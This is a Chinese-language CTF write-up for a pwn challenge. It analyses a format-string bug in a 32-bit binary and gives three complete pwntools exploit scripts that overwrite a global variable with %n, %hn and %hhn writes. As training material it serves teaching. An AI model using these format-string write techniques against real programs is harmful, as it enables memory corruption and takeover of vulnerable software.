攻防世界pwn題:實時數據檢測
- 2022 年 6 月 16 日
- 筆記
0x00:查看文件
一個32位的文件,canary、NX、PIE保護機制均關閉。
0x01:用IDA進行靜態分析
程式很簡單,輸入一串字元(個數限制:512),然後再輸出。最後根據key變數進行條件語句執行。
在imagemagic函數中用printf(format)進行輸出,大概率有格式化字元串漏洞。因為key的地址在bss段:0x0804A048,所以試試用格式化字元串漏洞進行覆蓋。
檢測一下是否可以對隨意地址進行覆蓋:
有重複的,位於第12個參數。重複的原因是因為s是定義在了棧上。
payload = p32(key_addr) + b’%035795742d’ + b’%12$n’
- 將key的地址寫在第一位,相當於也會寫在第12參數上。
- %12$n : 是指對第12的參數寫入前面成功輸出的位元組數。
- %035795742d:前面key_addr已經佔了4個位元組,還要在輸出35795746 – 4個位元組。
0x02:完整EXP
from pwn import * context(os='linux', arch='i386', log_level='debug') io = process("./datajk") #io = remote("111.200.241.244",65079) key_addr = 0x0804A048 payload = p32(key_addr) + b'%35795742d' + b'%12$n' io.sendline(payload) io.interactive()
遠程的話大概要幾分鐘輸出,本地的話快一點。這種方法看著就很粗魯,但很簡單。
0x03:使用標誌進行改進
上面因為%n是寫入4位元組數據,所以就直接寫整個數,導致要輸出大量數據才可以滿足。但帶格式化字元串中有那麼兩個標識:
- h :以雙位元組的形式;
- hh:以單位元組的形式;
使用h標誌進行改進:
要使key=35795746(0x0222 3322),因為程式為小端序,高位元組存儲在低地址。所以就是要使key_addr處為0x3322,key_addr+2處為0x0222。
from pwn import * context(os='linux', arch='i386', log_level='debug') #io = process("./datajk") io = gdb.debug("./datajk") key_addr = 0x0804A048 #35795746 == 0x02223322 #num1 = 0x222 0x222 == 546 #num2 = 0x3322 0x3322 == 13090; 12544=13090-546 payload = p32(key_addr) + p32(key_addr + 2) payload += b'%0538d' + b'%13$hn' payload += b'%012544d' + b'%12$hn' io.sendline(payload) io.interactive()
註:用%n寫入數據的順序要從寫入數值小的開始。
前面已經輸出了兩個地址,佔了8位元組,所以0x222要減去8為538。後面的12544同理,要減去已輸出的量。
使用hh標誌進行改進:
將0x02223322拆分成\x02 \x22 \x33 \x22(地址:high -> low),按數值從小到大依次寫入。
這時要靈活的改變『覆蓋地址』的參數位了,可以先看一下wiki中的這個頁面的『覆蓋小數字』:
//ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-exploit/#_14
exp裡面的a主要用於調參數位(按4調整)。由於這裡調動比較靈活,同時程式碼不唯一,但大概思想不變。所以就不做多解釋了,有問題可以在評論區提出。
from pwn import * context(os='linux', arch='i386', log_level='debug') io = process("./datajk")
key_addr = 0x0804A048 #0x02 22 33 22 (high -> low) #input 0x02 payload = b'aa%15$hhnaaa' + p32(key_addr + 3) #input 0x22(two) payload += p32(key_addr + 2) + p32(key_addr) + b'%017d%16$hhn' + b'%17$hhna' #input 0x33 payload += p32(key_addr + 1) + b'%012d%23$hhn' io.sendline(payload) io.interactive()
0x04:感觸
沒有絕對安全的系統!
tolele
2022-06-16